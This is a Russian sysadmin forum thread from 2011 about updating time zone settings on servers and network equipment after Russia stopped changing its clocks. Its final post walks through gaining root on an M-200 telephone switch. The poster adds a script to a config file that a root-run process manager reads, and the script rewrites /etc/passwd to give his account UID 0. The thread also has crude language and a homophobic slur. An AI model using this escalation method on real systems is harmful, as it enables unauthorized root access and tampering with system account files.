Страница 1 из 2
Час Хэ
Добавлено: 10 окт 2011, 14:06
ys1797
Вот, блин, подарок правительства.
В связи с приближением часа икс, хожу тут по всяким линуксам и меняю MSK-3MSD,M3.5.0,M10.5.0 на MSK-4
Да по кошкам:
no clock summer-time MSD recurring last Sun Mar 2:00 last Sun Oct 3:00
clock timezone MSK 4
На фрюхах седьмых вообще написали ручками меняйте описание зоны.
На восьмой фрюхе вроде поправили сами.
Как пропатчить двух режимный счетчик электроэнергии пока мыслей нет
Re: Час Хэ
Добавлено: 10 окт 2011, 14:16
Vlad1983
слава яйцам, у мну хоть счетчиков нет
Re: Час Хэ
Добавлено: 10 окт 2011, 14:39
kasper
Омг. Я упустил этот момент =)
Полезно иногда заглядывать на форум
Re: Час Хэ
Добавлено: 10 окт 2011, 18:04
tma
ys1797 писал(а):
В связи с приближением часа икс, хожу тут по всяким линуксам и меняю MSK-3MSD,M3.5.0,M10.5.0 на MSK-4
MSK+4 если не ошибаюсь.
MSK-4 старые PostgreSQL вообще не воспринимали, например.
У меня все сервера поэтому в GMT работают.
ys1797 писал(а):Как пропатчить двух режимный счетчик электроэнергии пока мыслей нет
А это действительно вопрос.
Re: Час Хэ
Добавлено: 10 окт 2011, 23:12
ys1797
MSK+4 если не ошибаюсь.
MSK-4 старые PostgreSQL вообще не воспринимали, например.
У меня все сервера поэтому в GMT работают.
Это я для "/etc/TZ" привел. Там все через жопер, как в свое время sendmail.cf
Так, где надо "+", там надо "-" писать...
PostgreSQL очень странный фрукт. Только локаль от своего UID жрет...
Re: Час Хэ
Добавлено: 19 окт 2011, 13:07
Vlad1983
Re: Час Хэ
Добавлено: 19 окт 2011, 13:16
tma
Блин. В России, кстати, могли бы и по-умному поступить. Декретное время-то в России не отменяли, как во всех остальных странах.
Так что Россия все еще следует заветам великого Ильича, блин.
Re: Час Хэ
Добавлено: 19 окт 2011, 14:06
SVoy
Vlad1983 писал(а):други из хохляндии вообще страдают..
депутаты снова передумали - зимнее время будет
а весной возьмутся за летнее...
как говорится "по статистике в Верховной Раде 5% пи***сов, а по мнению народа все 100"
Re: Час Хэ
Добавлено: 19 окт 2011, 16:58
tma
Ну так они поступили умнее. Отменять-то нужно не зимнее, а летнее время. Декретный час додумались же отменить.
Вот только почему с первого раза не догадались? А что в России сделали? Полный дебилизм. Нужно было убрать нафиг
декретный час, из-за которого Россия находится в неком своем собственном часовом поясе(сах), а затем отменять летнее
время. Тогда время в России (точнее Москве)
вернулось бы в третий часовой пояс, как и должно быть.
Но политики везде изобретут свой собственный путь - то у них "суверенная демократия", то у них "суверенный часовой пояс".
Re: Час Хэ
Добавлено: 23 окт 2011, 21:36
Vlad1983
Дошли руки до настройки часового пояса на коммутаторе М-200 серии СС
но любезный производитель не дал прав на установку произвольного часового пояса:
bash-3.2$ sudo tzsetup
1 - Moscow-01 - Kaliningrad
2 - Moscow+00 - Saint-Petersburg, Moscow
3 - Moscow+01 - Samara
4 - Moscow+02 - Yekaterinburg
5 - Moscow+03 - Omsk, Novosibirsk
6 - Moscow+04 - Krasnoyarsk
7 - Moscow+05 - Irkutsk
8 - Moscow+06 - Yakutsk
9 - Moscow+07 - Vladivostok, Sakhalin
10 - Moscow+08 - Magadan
11 - Moscow+09 - Kamchatka
12 - Moscow+10 - Anadyr
Выберите вашу временную зону (1-12):
^C
bash-3.2$ sudo tzselect
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
Password:
tzselect
bash-3.2$ tzselect
Please identify a location so that time zone rules can be set correctly.
Please select a continent or ocean.
1) Africa
2) Americas
3) Antarctica
4) Arctic Ocean
5) Asia
6) Atlantic Ocean
7) Australia
8) Europe
9) Indian Ocean
10) Pacific Ocean
11) none - I want to specify the time zone using the Posix TZ format.
#? 11
Please enter the desired value of the TZ environment variable.
For example, GST-10 is a zone named GST that is 10 hours ahead (east) of UTC.
GMT-6
awk: cmd. line:4: warning: escape sequence `\.' treated as plain `.'
The following information has been given:
TZ='GMT-6'
Therefore TZ='GMT-6' will be used.
Local time is now: Вск Окт 23 21:57:00 GMT 2011.
Universal Time is now: Вск Окт 23 15:57:00 UTC 2011.
Is the above information OK?
1) Yes
2) No
#? 1
You can make this change permanent for yourself by appending the line
TZ='GMT-6'; export TZ
to the file '.profile' in your home directory; then log out and log in again.
Here is that TZ value again, this time on standard output so that you
can use the /usr/bin/tzselect command in shell scripts:
GMT-6
bash-3.2$ ln -fs /usr/share/zoneinfo/posix/Etc/GMT-6 /etc/localtim
ln: создание символьной ссылки `/etc/localtim': Отказано в доступе
bash-3.2$ sudo ln -fs /usr/share/zoneinfo/posix/Etc/GMT-6 /etc/localtim
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
Password:
т.к. совсем не хочется каждые полгода лазить только для смены часового пояса, нужно взять рутовские права.
пароля на root в руководстве не указано.
звонок в поддержку производителя так же ничего не дал: "Ррребята, мы не в курррсе...".
ладно, не хотите по хорошему... выложу на всю страну какие вы балбесы...
смотрим что у нас запущено под root и ищем среди них те, на параметры запуска которых можем повлиять
Код: Выделить всё
bash-3.2$ ps axu
...
root 17883 0.0 0.0 3096 828 ? Ss Oct22 0:04 /ATS/BIN/PUPPETMANAGER -d
root 17991 0.0 3.3 72528 70000 ? Ss Oct22 0:14 /ATS/BIN/LINUXLOGCNTROLER -d
root 17993 1.3 13.7 359924 285716 ? Ssl Oct22 21:16 /ATS/BIN/PRODRIVER -d
root 18014 1.2 0.6 81300 13136 ? Ssl Oct22 19:03 /ATS/BIN/LINUXATSDIRECT -d
root 18163 4.6 3.5 325792 74264 ? Ssl Oct22 72:41 /ATS/BIN/PROMG -devlan0 eth2 -devwan0 eth3 -core0 1 -d -s
root 20275 0.0 0.0 11828 960 ? Ssl Jun06 3:22 /ATS/BIN/callbuilder -f /ATS/SYSCONFIG/callbuilder.conf -d
от оно
http://m-200.com/base/index.php//ATS/SY ... ppets.conf
Код: Выделить всё
bash-3.2$ cat /ATS/SYSCONFIG/MasterOfPuppets.conf
ethcontrol DEVWAN0 device "eth3" killname "PROMG"
process LINUXLOGCNTROLER exefile "/ATS/BIN/LINUXLOGCNTROLER" cmdline "-d"
process PRODRIVER exefile "/ATS/BIN/PRODRIVER" sync PRODRIVER_1 sync PRODRIVER_2 sync PRODRIVER_3 sync PRODRIVER_4 sync PRODRIVER_5 cmdline "-d"
process LINUXATSDIRECT exefile "/ATS/BIN/LINUXATSDIRECT" depend "PRODRIVER" flag "chance" cmdline "-d"
#process LINUXATSDIRECT exefile "/ATS/BIN/valgrind.run" depend "PRODRIVER" killname "memcheck" killname "valgrind"
process PROMG exefile "/ATS/BIN/PROMG" sync PROMG_1 cmdline "-devlan0 eth2 -devwan0 eth3 -core0 1 -d -s"
смотрим что для нас в /etc/passwd
Код: Выделить всё
bash-3.2$ grep atsuser /etc/passwd
atsuser:x:500:500:atsuser:/ATS:/bin/bash
пишем скрипт замены существующих id юзера и группы на 0
Код: Выделить всё
bash-3.2$ cat /ATS/tmp/root
#!/bin/bash
/bin/sed -i 's/atsuser:x:500:500:atsuser/atsuser:x:0:0:atsuser/' /etc/passwd
добавляем строчку в /ATS/SYSCONFIG/MasterOfPuppets.conf
Код: Выделить всё
bash-3.2$ tail -n 1 /ATS/SYSCONFIG/MasterOfPuppets.conf
process AAA exefile "/ATS/tmp/root" cmdline ""
перезапуск сервиса
Код: Выделить всё
bash-3.2$ sudo /etc/init.d/m-200 restart
Остановка ATS M-200:
Остановка PUPPETMANAGER: [ ОК ]
Остановка PRODRIVER: [ ОК ]
Остановка LINUXATSDIRECT: [ ОК ]
Остановка LINUXATSDIRECT (valgrind): [ ОШИБКА ]
Остановка PROMG: [ ОК ]
Остановка LINUXLOGCNTROLER: [ ОК ]
Запуск ATS M-200: [ ОК ]
проверяем
Код: Выделить всё
bash-3.2$ grep atsuser /etc/passwd
atsuser:x:0:0:atsuser:/ATS:/bin/bash
логинимся
Код: Выделить всё
Using username "atsuser".
atsuser@10.56.2.59's password:
Last login: Fri Apr 15 00:39:24 2011
-bash-3.2# ln -fs /usr/share/zoneinfo/posix/Etc/GMT-6 /etc/localtime
-bash-3.2# date
Вск Окт 23 22:59:48 GMT-6 2011
-bash-3.2#
вуаля!!!